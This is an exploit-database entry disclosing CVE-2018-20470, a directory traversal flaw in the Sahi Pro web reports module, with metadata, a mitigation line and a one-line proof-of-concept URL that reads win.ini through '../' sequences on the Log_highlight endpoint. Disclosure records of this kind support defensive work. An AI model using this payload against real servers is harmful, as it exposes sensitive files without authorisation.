Sahi pro ( - exploit.company

vendor:

Sahi Pro

by:

Goutham Madhwaraj

7.5

CVSS

HIGH

Directory Traversal

CWE

Product Name: Sahi Pro

Affected Version From: 7.x.x

Affected Version To: 8.0.0

Patch Exists: YES

Related CWE: CVE-2018-20470

CPE: a:sahi_technologies:sahi_pro

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10

2019

Sahi pro ( <= 8.x ) Directory traversal

An issue was discovered in Tyto Sahi Pro through 7.x.x and 8.0.0. A directory traversal (arbitrary file access) vulnerability exists in the web reports module. This allows an outside attacker to view contents of sensitive files.

Mitigation:

Ensure that the web reports module is not accessible from outside the network and that access to sensitive files is restricted.

Source

Exploit-DB raw data:

# Exploit Title: Sahi pro ( <= 8.x ) Directory traversal
# Date: 17-06-2019
# Exploit Author: Goutham Madhwaraj ( https://barriersec.com )
# Vendor Homepage: https://sahipro.com/
# Software Link: https://sahipro.com/downloads-archive/
# Version: 7.x , <= 8.x
# Tested on: Windows 10
# CVE : CVE-2018-20470


Description :

An issue was discovered in Tyto Sahi Pro through 7.x.x and 8.0.0. A directory traversal (arbitrary file access) vulnerability exists in the web reports module. This allows an outside attacker to view contents of sensitive files.

POC :

vulnerable URL :

''' replace the ip and port of the remote sahi pro server machine '''


http://<ip>:<port>/_s_/dyn/Log_highlight?href=../../../../windows/win.ini&n=1#selected